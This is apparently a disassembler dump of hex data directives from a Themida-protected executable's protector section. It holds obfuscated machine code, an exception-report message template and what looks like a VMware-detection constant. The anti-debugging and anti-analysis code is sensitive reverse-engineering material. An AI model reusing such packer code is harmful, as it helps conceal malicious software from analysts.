		dd 8D000000h, 17398985h, 0B8838906h, 5D000000h,	6AC3C033h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0E6C4C357h, 0EB80364Dh, 6A4725C1h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0C426C355h, 9B75B464h, 0D8D8B45h, 8D061421h,	17388D85h
		dd 598D8B06h, 5006142Ah, 12E9h,	7F1D2A00h, 0DC0E11B6h
		dd 0FC3227E7h, 0E5DF1F7Fh, 6479D5EFh, 35FFh, 958B0000h
		dd 6141A89h, 30ADBD09h,	89640614h, 25h,	0EE900h, 98E60000h
		dd 17C968F5h, 0E8F2F51Ah, 5EC5C0BFh, 631B509h, 0AB90614h
		dd 0B8000000h, 4855D704h, 0F7816405h, 0D465BB0Dh, 40BA8685h
		dd 810034B6h, 345FE8EAh, 0FB81ED00h, 564D5868h,	85C70A75h
		dd 6141B0Dh, 1,	58F64h,	83000000h, 0DF8104C4h, 15DFAE24h
		dd 0D459589h, 0C08B0614h, 18D38160h, 0E9513150h, 13h, 0FDFEDFD2h
		dd 7D100B82h, 0CB72FFA2h, 0C82CC5DEh, 612F43BDh, 30B1BD83h
		dd 75000614h, 0E1BD8309h, 6141Ah, 53501974h, 3DB8C08Bh
		dd 89000004h, 1430C185h, 0A19D8D06h, 0FF0616B7h, 83585BD3h
		dd 141AE1BDh, 17740006h, 3DB85350h, 89000004h, 1430C185h
		dd 429D8D06h, 0FF0616B4h, 0E9585BD3h, 6, 423CC1B0h, 8166CD2Dh
		dd 0F046DCAh, 0C08BC9BFh, 147E9h, 400h,	392E3100h, 3031h
		dd 6 dup(0)
		dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh
		dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h
		dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h
		dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch
		dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h
		dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h
		dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h
		dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h
		dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh
		dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h
		dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h
		dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h
		dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h
		dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h
		dd 20202020h, 25203D20h, 0D0A64h, 0D09BD83h, 0F000614h
		dd 12D84h, 59858D00h, 500616B2h, 0B1C3858Dh, 68500616h
		dd 80000001h, 0B26995FFh, 858D0616h, 6173A26h, 30858D50h
		dd 5006173Ah, 6A006Ah, 0B1D7858Dh, 0FF500616h, 16B259B5h
		dd 0ED95FF06h, 8D061402h, 173A2685h, 858D5006h,	6173A34h
		dd 6A006A50h, 0E9858D00h, 500616B1h, 0B259B5FFh, 95FF0616h
		dd 61402EDh, 3A26858Dh,	8D500617h, 173A4085h, 6A5006h
		dd 858D006Ah, 616B236h,	59B5FF50h, 0FF0616B2h, 1402ED95h
		dd 26858D06h, 5006173Ah, 3A48858Dh, 6A500617h, 8D006A00h
		dd 16B25485h, 0B5FF5006h, 616B259h, 2ED95FFh, 858D0614h
		dd 6173A26h, 44858D50h,	5006173Ah, 6A006Ah, 0B23D858Dh
		dd 0FF500616h, 16B259B5h, 0ED95FF06h, 8D061402h, 173A2685h
		dd 858D5006h, 6173A38h,	6A006A50h, 45858D00h, 500616B2h
		dd 0B259B5FFh, 95FF0616h, 61402EDh, 3A26858Dh, 8D500617h
		dd 173A3C85h, 6A5006h, 858D006Ah, 616B24Ch, 59B5FF50h
		dd 0FF0616B2h, 1402ED95h, 59B5FF06h, 0FF0616B2h, 141CF595h
		dd 0A2E906h, 0BD830000h, 61423E9h, 95840F00h, 83000000h
		dd 1412CDBDh, 850F0006h, 11h, 2421958Bh, 0C2810614h, 1CF8h
		dd 0FE9h, 0F5958D00h, 8B061412h, 0C2813452h, 3BD4C340h
		dd 34F19589h, 0BD830614h, 61434F1h, 55840F00h, 8B000000h
		dd 1434F19Dh, 4CC38306h, 8589038Bh, 6173A30h, 34F19D8Bh
		dd 0C3830614h, 89038B50h, 173A3485h, 0F19D8B06h, 83061434h
		dd 38B54C3h, 3A408589h,	9D8B0617h, 61434F1h, 8B58C383h
		dd 44858903h, 8B06173Ah, 1434F19Dh, 5CC38306h, 8589038Bh
		dd 6173A38h, 0D09BD83h,	0F000614h, 0D85h, 0E9BD8300h, 61423h
		dd 68840Fh, 0B5FF0000h,	6173A48h, 3A3CB5FFh, 0B5FF0617h
		dd 6173A38h, 3A44B5FFh,	0B5FF0617h, 6173A40h, 3A34B5FFh
		dd 0B5FF0617h, 6173A30h, 3A2A858Dh, 8D500617h, 173A6285h
		dd 858D5006h, 6141DB5h,	995FF50h, 83061415h, 406A24C4h
		dd 3A4C858Dh, 8D500617h, 141DB585h, 6A5006h, 2C195FFh
		dd 16A0614h, 2EF995FFh,	0C18B0614h, 0F31718EBh,	9B46h
		dd 4 dup(0)
		dd 0BE90000h
		db 2, 2	dup(0)
aLS		db '`▀\$$Х',0           ; DATA XREF: Themida_:0054A4FCo
		align 4
		dd 0ED815D00h, 6173DF6h, 4C261h, 0FFFFE6E9h, 0C26160FFh
		dd 0F6E90008h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh
		dd 0F6E90008h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0FFh, 0
		dd 0C3616000h, 0FFFFF8E9h, 2EB58BFFh, 8106173Eh, 0FFF000E6h
		dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 32B53B00h, 0F06173Eh
		dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
		dd 0FC00A03h, 1984h, 0BB535000h, 2, 34F1858Bh, 18860614h
		dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
		dd 2474FF50h, 1D95FF08h, 50061419h, 244C010Fh, 0C08358FEh
		dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
		dd 840FC00Ah, 9, 34F1858Bh, 0C60614h, 4FF5800h,	4C224h
		dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
		dd 2BB00h, 858B0000h, 61434F1h,	0DB0A1886h, 0FFF6850Fh
		dd 85C7FFFFh, 61416ADh,	0
aLdLs		db '▀D$',8,'▀≤',0
		db 10h
		dd 98890000h, 1000h, 1889188Bh,	0AE9h, 0AD85C700h, 61416h
		dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh,	840F003Eh
		dd 31h,	3AB7A1BBh, 0B101B076h, 13E901h,	8AAC0000h, 32C302C8h
		dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah,	0FFFFE585h, 0FD20BFFh
		dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h
		dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h
		dd 0E9DB33C0h, 10h, 0D1D833ACh,	0BCC381D3h, 8A37465Ah
		dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh,	0BB60C35Bh
		dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC00Ah, 0FFFFFFE7h, 850FD20Bh
		dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 0D385C700h
		dd 106173Dh, 50000000h,	244C010Fh, 0D7858FFEh, 8D06173Dh
		dd 173DCF85h, 0D7BD8D06h, 8906173Dh, 23E938h, 858D0000h
		dd 61412F5h, 538408Bh, 9B46F317h, 3DCF8589h, 858D0617h
		dd 61412F5h, 893C408Bh,	173DD385h, 0EC858D06h, 8906173Dh
		dd 14191D85h, 87E906h
		db 2 dup(0)
word_57CC3E	dw 8B52h		; DATA XREF: Themida_:0054954Co
		dd 728B60D4h, 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h
		dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh
		db 8, 0
word_57CC66	dw 8B52h		; DATA XREF: Themida_:0054BD8Co
		dd 728B60D4h, 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h
		dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh
		db 8, 0
word_57CC8E	dw 8B52h		; DATA XREF: Themida_:00549A6Co
		dd 535156D4h, 728BDB33h, 0C4A8B08h, 13E9h, 2D3CAC00h, 0A840Fh
		dd 98040000h, 0D8321334h, 4908C3C1h, 850FC90Bh,	0FFFFFFE5h
		dd 595BC38Bh, 8C25A5Eh,	5F858D00h, 89061740h, 14096D85h
		dd 87858D06h, 89061740h, 1431AD85h, 0AF858D06h,	89061740h
		dd 140E8D85h, 5E806h, 70FF0000h, 666D3824h, 5AB4A7BEh
		dd 50C281F9h, 66000068h, 0DA7AD681h, 0C88BC02Bh, 5B1034FFh
		dd 0D4DBEB81h, 0BE665D8Ah, 0F381345Bh, 35ED3AD0h, 1800Fh
		dd 81F90000h, 894EE7C3h, 8166536Fh, 8FEEF8C7h, 0AE90204h
		dd 8C000000h, 48581497h, 295AA2A6h, 7E8539Ch, 1D000000h
		dd 4B09DEE7h, 860FB1FEh, 0
		dd 0E8835E59h, 0FBF6604h, 34F8815Fh, 0FFFFF98h,	0FFFF9F85h
		dd 8E9FFh, 71580000h, 0C6B93FB5h, 66609C5Dh, 8B16D5BEh
		dd 8BCE8BC0h, 0B1BD83D1h, 61430h, 0BD830975h, 6141AE1h
		dd 50197400h, 0B8C08B53h, 40Eh,	1A498589h, 9D8D0614h, 616B73Ah
		dd 585BD3FFh, 1AE1BD83h, 74000614h, 0B8535017h,	40Eh, 1A498589h
		dd 9D8D0614h, 616B429h,	585BD3FFh, 14E98CB6h, 0E9000000h
		dd 7B9C3BC1h, 30A76E31h, 2E3EA4D5h, 0A15BE87Eh,	8BF19B81h
		dd 6AC08BD6h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 9B92C355h, 2309BD83h, 0F000614h
		dd 4084h, 0D7C28000h, 2E4E9h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0AC94416Bh
		dd 0E81ABC78h, 0Dh, 0FD197215h,	8803EF43h, 4355E083h, 0CB8B66C7h
		dd 0FDF8C59h, 0CA81F0BFh, 730ABB1Dh, 4C7F766h, 96850F00h
		dd 6A000002h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0E0EC355h, 83D6BF0Fh, 1414CDBDh
		dd 850F0006h, 0Eh, 0D914DA81h, 5EE9608Ch, 0F000002h, 0FF2BD1B7h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0C7C35646h
		dd 630E6BAh, 810F603Ah,	2, 0D681F6B4h, 13F7F19Fh, 0BB9D8D61h
		dd 6A061744h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 7F6BC353h, 891F19F4h, 0E2816634h
		dd 665068B7h, 89E8F3B9h, 8F0F241Ch, 0
		dd 35FF64h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 20D4C355h, 646A1082h
		dd 2589h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 362F96C3h, 8DD03B2h, 0F001F9Ah
		dd 0C48BD3B7h, 38D0Fh, 0C9800000h, 0EB01CD7Dh, 3C29B900h
		dd 6A56ABh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 609E70C3h, 0FC6057B4h, 8B0Fh, 61610000h
		dd 0DE9h, 0A0B30300h, 0B9D8B27Dh, 2B8381F9h, 8F64F7CFh
		dd 5, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 87E86AA9h, 44BE5C46h, 0F939448Bh
		dd 6A04C483h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 8D77C353h, 42B2CE55h, 840FC00Bh
		dd 0EDh, 753ABE56h, 665A5EC8h, 6A61D18Bh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0F089C353h
		dd 50E2CF70h, 0A2DC5B95h, 8DF6BF0Fh, 1470F0BDh,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 4A56F36Ah, 0B8A2491Ch, 1, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0DBC35545h,	0FF2BF180h, 1EBEBAE7h
		dd 8B577AEFh, 8B10245Ch, 0B883h, 40B60F00h, 89C8FE01h
		dd 0B083h, 0B8838300h, 2000000h, 0C3C0335Fh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 35C35141h, 88D508Ah
		dd 1E800Fh, 880F0000h, 18h, 13E9h, 24FEF400h, 0C39AD4FEh
		dd 0EE29ACD3h, 0AC2A32FDh, 9CAD6136h, 43B961FCh, 8B7B77AAh
		dd 8880FC0h, 0F000000h,	28Ch, 83616000h, 1430B1BDh, 9750006h
		dd 1AE1BD83h, 74000614h, 8B535019h, 40EB8C0h, 85890000h
		dd 61430C1h, 0B7A19D8Dh, 0D3FF0616h, 0BD83585Bh, 6141AE1h
		dd 50177400h, 40EB853h,	85890000h, 61430C1h, 0B4429D8Dh
		dd 0D3FF0616h, 12E9585Bh, 94000000h, 2489AFB8h,	88DE0443h
		dd 0F5838B14h, 1234FCE1h, 0F8C08B07h, 8EBC28Bh,	2 dup(0)
		dd 7BE9h, 0F526000h, 0FE244C01h, 24C2835Ah, 12CD858Bh
		dd 858D0614h, 617764Fh,	888B088Bh, 1000h, 8B660A8Bh, 8D89FC4Ah
		dd 61745A5h, 14CDBD83h,	0F000614h, 0F84h, 6A6000h, 116995FFh
		dd 0E9610614h, 0FFFFFFC4h, 0FC728966h, 6610CEC1h, 52027289h
		dd 895A04CDh, 1745A185h, 0A5B58B06h, 0C1061745h, 896610CEh
		dd 0B58B0272h, 61745A5h, 0FC728966h, 0A1858B61h, 0C3061745h
		dd 1729958Dh, 95890614h, 61434F1h, 2D019589h, 85FF0614h
		dd 6142D01h, 1A5985C6h,	68530614h, 0FCB148D8h, 1145B5FFh
		dd 858D0614h, 6143B13h,	8589D0FFh, 6141169h, 3E06858Dh
		dd 85890617h, 6143525h,	20EBh, 7 dup(0)
		dd 0EE90000h, 0E9000006h, 602h,	17488168h, 377DE906h, 5A68FFFDh
		dd 0E9061749h, 0FFFD3773h, 174B2968h, 3769E906h, 0A968FFFDh
		dd 0E906174Bh, 0FFFD375Fh, 64B609D3h, 1F714C87h, 0D92B9042h
		dd 8EE0D9FCh, 459726B1h, 0D304AC0Ch, 16BB98EAh,	647451A3h
		dd 0AA2C095Bh, 2BB3BF11h, 92E3F25h, 0F1585358h,	4FFBC012h
		dd 0F1E82709h, 855C32D1h, 0CEBCF625h, 8DFDAFCBh, 0A30DCC23h
		dd 0F62D2EEh, 63FBB7E5h, 2BA0E234h, 7EEDCB3Ah, 407B5724h
		dd 2BD7E2F3h, 593EA4D3h, 55000000h, 0F1E7F6D9h,	60107E51h
		dd 828D4B18h, 0F1E7967Ch, 0EA82AA51h, 3AFAEB93h, 184702EBh
		dd 7C824A12h, 51F2C896h, 0F5382AAh, 57E71092h, 5C637542h
		dd 0EC0158B0h, 0ED48FDDCh, 7DA52958h, 0A27C532Bh, 33EF4394h
		dd 29020E3Dh, 3A000000h, 0A652696Dh, 0D17D3C99h, 0CBB2E179h
		dd 0F1E7F7D9h, 5F0F7D51h, 2F941117h, 774457E6h,	902DA65Eh
		dd 0C5F48CE4h, 0EC71941h, 4FFBC012h, 0F1E82809h, 9427ABD1h
		dd 0C5F8DBE8h, 6022C419h, 69290D81h, 0F4C70BD8h, 0B6C1F048h
		dd 714D9F1Ch, 3B125A08h, 62EF350Eh, 0ADEB4273h,	1B498CCCh
		dd 2E343A69h, 0D1F1FC4Ch, 947A8058h, 21D1F2DBh,	65E0AB1h
		dd 0D4801840h, 0DFF70FC7h, 40D830DCh, 0FCA412EEh, 0CDF0E7B4h
		dd 0FAC31421h, 272D3362h, 0D7E60F68h, 0E6AEF61Eh, 6EEFAE0h
		dd 30360ED8h, 0D806EF4Ah, 6F9E365Eh, 0EEDDBF05h, 7362D806h
		dd 4B8D9A46h, 0BAC0C874h, 0D806EED4h, 466AC0E8h, 0BCDEA504h
		dd 349E6B9Eh, 5483DB87h, 0D8E67DE8h, 758178h, 13980000h
		dd 0DAB1F9A5h, 39EDE10Ch, 3238672Dh, 0E6389C2Ch, 94DC0457h
		dd 703E91BDh, 1948E258h, 2B904613h, 2CDAFCD9h, 106814A5h
		dd 10A813C3h, 0A4B87732h, 0D8E6D03Eh, 36Ch, 24764993h
		dd 0DF318C47h, 99EBD002h, 4EA019BCh, 5576671h, 13C4ECCCh
		dd 567B58AAh, 0A4341163h, 0EAECC91Bh, 0EB737FD1h, 92FFFE5h
		dd 0B1181358h, 33711h, 567C4900h, 124F3665h, 0DA4A3CC0h
		dd 4A88DA2Bh, 0F23F5E44h, 0B24A7251h, 8F666E1Ah, 47FEC127h
		dd 0BFA5ABBAh, 0D351F24Ch, 0A0E413ABh, 51F24CBEh, 0D0C07148h
		dd 6410AB2Bh, 9FE2B50Ch, 0DA724989h, 490567ABh,	6C5151F2h
		dd 0BE51F24Ah, 51F249DCh, 0F24A4628h, 0CF03D051h, 0B9E840ECh
		dd 0F2499375h, 3AB1991h, 0BF1CF3BBh, 9A8780E7h,	0E4ACF01Fh
		dd 0AC17E757h, 626F3C84h, 0B53AB57h, 9581F05h, 0DC0B3318h
		dd 48F86672h, 4613800h,	0CA9DE5B5h, 5DC00433h, 6B1DFD17h
		dd 94E6543h, 230D7891h,	29315h,	4F706C00h, 0AB320FDh, 0C4F7DBB8h
		dd 79409572h, 308D4A27h, 9D13A5DEh, 5431833Ah, 0DEA3C7Dh
		dd 0C5A2F4CBh, 4C58AA11h, 30D8BEC4h, 0F1EC5809h, 0F7C4128Ah
		dd 2DD13F4Bh, 2D8EDFE5h, 507857E6h, 7F5926FEh, 0CC061140h
		dd 60D0A7EFh, 5ADA41EEh, 4A273766h, 7B873388h, 1319610Dh
		dd 5DFD66AAh, 0BBFED7B4h, 0CD1FB70Fh, 2067D5B7h, 91975F5Eh
		dd 5E2067ABh, 0C6F3E2BFh, 0D32AC21Ah, 83384C69h, 0EAF42368h
		dd 868CD47Ch, 6414A431h, 0BA03D4A1h, 387B60Eh, 0A53F252Bh
		dd 76536437h, 2FC75F5Ch, 0FFBC1AE7h, 0B506D0ADh, 0A4D1C309h
		dd 9776437h, 4F551D65h,	6437A569h, 8435A07Dh, 0B9E880D8h
		dd 0EC34ADB3h, 865E6A2Bh, 4EEA9A80h, 0FAA276Ah,	41892149h
		dd 9526AC79h, 0F272113Eh, 79A8DDF8h, 153686Eh, 5D09B224h
		dd 714A8855h, 0FA3E6DC5h, 6A4F8B08h, 489040AEh,	43D0D942h
		dd 73BBE370h, 0DE8A2FA6h, 84515786h, 3A176952h,	0AD71F9Ch
		dd 573D43C8h, 6B7066D2h, 0A7FFAB43h, 94020E78h,	219EA4ECh
		dd 53765B19h, 57397F2Bh, 0DC767E18h, 0C19C5F6h,	3349F5C6h
		dd 1DB9730Fh, 29AF29Eh,	6279193Bh, 0DA61C203h, 74498E5Bh
		dd 2440262Ch, 2C54767Eh, 1597FDh, 0D9AE0000h, 51F104F7h
		dd 1E7Bh, 0B2DCB300h, 0B454735Fh, 173E2554h, 8632874Ah
		dd 7C25D72Eh, 2A5A2FCh,	7DAD8FD3h, 175651F1h, 2F8C4Ah
		dd 90D888F6h, 0E62D398Ah, 973C2357h, 0F9F15803h, 0F8A415BCh
		dd 287008A0h, 94407B5Bh, 97A30D3Ch, 0BA03D029h,	91D4DA22h
		dd 0DD5DFCB8h, 99290F15h, 603D5E1Dh, 469E4A73h,	0D3FB7FAEh
		dd 9088C8F5h, 0AFBDA738h, 0C4h,	0CC1EA13Bh, 87D9E4EFh
		dd 419328AAh, 0F6487164h, 0ADFFBE19h, 6B6C4474h, 0AE230052h
		dd 0FCDCB90Bh, 429471C3h, 931B2779h, 932A78Dh, 59C0BB58h
		dd 318E4A17h, 278AF802h, 5F74FE8Bh, 2EC9075Eh, 0B3999FE7h
		dd 0C751F2D8h, 0B9BF079Fh, 57E71E68h, 4E3F9D0h,	43EFD008h
		dd 0BAF094EBh, 603DC1F0h, 429A4677h, 84F2FEAAh,	2B8E94DCh
		dd 395DFDA1h, 0A840795Ch, 8F9EFDCAh, 8E9C8638h,	44h, 4C9E21BBh
		dd 759646Fh, 0C113A82Ah, 76C8F1E4h, 2D7F3E99h, 0EBECC4F4h
		dd 2EA380D2h, 7C5C398Bh, 0C214F143h, 139BA7F9h,	933270Dh
		dd 0D9403B58h, 0F11h, 577C4900h, 0E4503766h, 7746915Eh
		dd 5D4473CBh, 49F5CA12h, 75219A3Ch, 0A34F7068h,	0D27E3B96h
		dd 0FFAB12C5h, 2CD8E5F2h, 5703B61Fh, 8733884Ah,	0B864597Ah
		dd 0E6895633h, 4C681h, 0EE830000h, 24348704h, 6824248Bh
		dd 7D6Ah, 53243489h, 0C381E389h, 4, 4EB81h, 1C870000h
		dd 14895C24h, 67BD5524h, 0F755CC3Fh, 28C581DDh,	555BE386h
		dd 8B545D5Eh, 0C4812414h, 4, 2C815655h,	6928E324h, 0C5815D75h
		dd 756928E3h, 5D086A89h, 5A2434FFh, 4C481h, 348B0000h
		dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 0FD318AE9h
		dd 7C09C9FFh, 12B889ADh, 306174Ch, 0EBC88BC5h, 5F9E900h
		dd 0EDE90000h, 68000005h, 6174D7Eh, 0FD3166E9h,	4EA868FFh
		dd 5CE90617h, 68FFFD31h, 6174F23h, 0FD3152E9h, 502E68FFh
		dd 48E90617h, 68FFFD31h, 6175127h, 0FD313EE9h, 0D7E8F4FFh
		dd 922BA885h, 4C6F6340h, 1B81DFAh, 0B805D2AFh, 258B2D66h
		dd 0DCB90BB2h, 9572C4F5h, 4D2A7C43h, 0D4E03289h, 3460464Ch
		dd 79745809h, 0E7F7D912h, 5D4351F1h, 0EF51F1E8h, 0BA07B422h
		dd 9DF5A11Eh, 0E8452A6Eh, 0B59751F1h, 3F51F1E7h, 2A596672h
		dd 0F1E803E6h, 0E86F5151h, 31F9D1F1h, 0F1E8452Bh, 23159D1h
		dd 0AF278AF8h, 78419032h, 847F6421h, 39EA4ECh, 71D7E5D4h
		dd 0A4340149h, 0ECECC91Bh, 0AD1B27D3h, 50B3B901h, 5EDDFAB8h
		dd 6E685836h, 230DB893h, 44815h, 734C9000h, 2E8F4421h
		dd 0E8D3FFDCh, 9D1CB996h, 54696E4Bh, 0C1EFC902h, 7855A716h
		dd 310E6059h, 0E9C618A7h, 707CCEEDh, 34FCE2E8h,	15105809h
		dd 0F7C412AEh, 6176434Bh, 2958B05Ch, 0F1E802E5h, 2E6C9051h
		dd 8B46C016h, 922A822Eh, 48736340h, 74478F9Ch, 0A11CBBC8h
		dd 0CEEFE8F5h, 0FDBC1522h, 0DF43F951h, 8AB37FA3h, 0F65E6A52h
		dd 0A48AC5Eh, 0B622E4F2h, 85505D09h, 98308834h,	0F570AE00h
		dd 9FEEDC3h, 3A4h, 47C41220h, 0F1E85B41h, 0CFF0E851h, 0DD05CB23h
		dd 70539945h, 0D751F1E8h, 27AF4505h, 0AE364294h, 0F1E7C2A8h
		dd 2AED651h, 8ADCE3F5h,	4A9229ADh, 0E16EAB82h, 0E37B7DCFh
		dd 0F241775Dh, 34638B51h, 0F353BECAh, 0F24107EDh, 5BF31B51h
		dd 63693109h, 51F2417Dh, 9D1EB491h, 0D20199F1h,	0AC0FC7h
		dd 93DBDEF3h, 40DFC5CBh, 0CBF351F2h, 94768C9Ch,	1951F240h
		dd 495501B8h, 64597EDBh, 1CB784CCh, 509DF5A1h, 1073687h
		dd 0E57228FBh, 383E1657h, 58065252h, 0C8A63E66h, 3EA7D502h
		dd 1E8F9D87h, 0BA000003h, 6E4B9D22h, 29065865h,	0E3C012A9h
		dd 9875C7F2h, 0F32C7E3Fh, 0D1ECEBC5h, 8A2FA27Fh, 427D5B38h
		dd 0F8C313F0h, 0C129AA6h, 58093626h, 12D83F3Ah,	3E4BF7C4h
		dd 6A772398h, 0EA005267h, 51F1E7C8h, 6D82FBD2h,	0A0A1B763h
		dd 83DB8738h, 26CC94EBh, 3198AF1Dh, 5EDCBE02h, 706151F1h
		dd 75579D49h, 0FB51F23Fh, 9399E18Dh, 57E55A5Ch,	0C80CEA12h
		dd 0D53EA7CCh, 2A3DDEBh, 0A7350000h, 0EAE9C618h, 2EA481D3h
		dd 775E3B8Dh, 0C413F042h, 4A6EA7F9h, 0FA4C7166h, 0B305B41Dh
		dd 6BBD02D6h, 2173488Eh, 0A1878D15h, 0B5580936h, 0C41253BAh
		dd 0CA0B2938h, 972FBF93h, 6956824Fh, 9922B0BDh,	5B68D201h
		dd 2294407Bh, 0A06D9CBEh, 8C2E8536h, 0CC55556Bh, 45919CCBh
		dd 7F4C2476h, 17B4A759h, 398CA78Dh, 5F0672A1h, 9FFEED9Dh
		dd 214h, 0E7F7D9B6h, 5C7C51F1h,	0E7C7ADB3h, 0FEDB51F1h
		dd 0E43CE8D5h, 8562B44Ch, 57246C53h, 0DCE9407Bh, 6C73BDA1h
		dd 27349ECDh, 0F9C60EB1h, 43292FDEh, 5751F2B4h,	93EB972Fh
		dd 2488FA64h, 0B50ACE66h, 8A33A06Dh, 9C734B5Bh,	4B86D77h
		dd 16D9C26h, 0FEED3464h, 709Ah,	0C4CA9200h, 51F2B0DEh
		dd 7C82CAF2h, 51F2B096h, 6C5382AAh, 308D4A17h, 0F3FD2C84h
		dd 0BB42485h, 0A6252B73h, 5A57E519h, 0C672498Dh, 0DEBB3F6Eh
		dd 0C018C4F9h, 2E944A28h, 331D3EA8h, 19825h, 239C4000h
		dd 0DEDFF4D1h, 9823AF8Ch, 4D6C6946h, 4B91EFBh, 713F79B2h
		dd 28055766h, 0E1BE10A9h, 9976C8F7h, 202C7E3Dh,	37AC9298h
		dd 0C5C05809h, 845BE35Eh, 9CC64325h, 68537F2Ch,	959BA1D0h
		dd 51F2B397h, 0EAF7A3CBh, 0A27FD1EEh, 0B906D234h, 0D51DB50Dh
		dd 2176C0FEh, 8CBB752Dh, 46AB1622h, 40922A8Fh, 84379B68h
		dd 318E4A55h, 0E7D402DFh, 16A32E3Bh, 0E5D401CEh, 0A2B2E139h
		dd 22080E96h, 3651F234h, 7D55620Eh, 0A710EC3Eh,	943E4BF7h
		dd 0C112DF27h, 0A7BDCDFCh, 51F233C5h, 0E931DD4Bh, 0E6356CE3h
		dd 327AA257h, 86359D6Ah, 81874C57h, 65BD6950h, 359E7BCDh
		dd 9CFDC88h, 4DE5D401h,	7C3D94A1h, 0AC0FC3D0h, 8A6A8D64h
		dd 88B428B7h, 75E3EF59h, 0F4E0170Ah, 65FD99ADh,	0AA98171Dh
		dd 844C5DF9h, 1A89987Eh, 5584AC5Eh, 1DCBA9D1h, 0A838939Dh
		dd 9FB0BEh, 0A3390000h,	0E6EDCA1Ch, 2AA885D7h, 73623F91h
		dd 0C017F446h, 4672ABFDh, 0FE506D6Ah, 0B709B021h, 6FC1FEDAh
		dd 25774492h, 0A58B9119h, 0B9580938h, 4A1757BEh, 2C84308Dh
		dd 0D7E4F2FDh, 3B81E2Bh, 33884A57h, 62577A87h, 0DE7CA0B6h
		dd 6410AD26h, 5EC2740Ch, 0EDCE083Ch, 0E7FFCEA5h, 5606E6A4h
		dd 0F2C26A50h, 0BE567E51h, 24417F8Fh, 0DAFEED18h, 10h
		dd 0E7F6D9F1h, 597D51F1h, 10321062h, 89000000h,	2E8B4A17h
		dd 0E7D9BBFFh, 785E51F1h, 0F338F143h, 75D62h, 0DC620000h
		dd 0CAF9C40Fh, 0F5CA12E3h, 219A3C49h, 4F706875h, 7E3B96A3h
		dd 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch, 33884A57h,	64597A87h
		dd 895033B8h, 0EABB53E0h, 812B4D77h, 5C33E4F3h,	2AC3810Ah
		dd 0F768EC37h, 0CFE381D3h, 0C145785Bh, 0F38105E3h, 800018E4h
		dd 835BD801h, 48704E8h,	0BE685C24h, 8900007Ah, 89562404h
		dd 4C681E6h, 83000000h,	348704EEh, 34895C24h, 0E2B95124h
		dd 8906174Ch, 240C8BC8h, 6804C483h, 7E7Fh, 83242489h, 5E042404h
		dd 0CEB85050h, 29587733h, 58042444h, 8108468Fh,	33CE0846h
		dd 348B5877h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h
		dd 24048B5Ch, 5E08950h,	4, 8704C083h, 0E95C2404h, 0FFFD2B8Fh
		dd 1971F497h, 695D5572h, 0DE1E1915h, 1751EBB8h,	8BC50306h
		dd 51E9D1h
		db 2 dup(0)
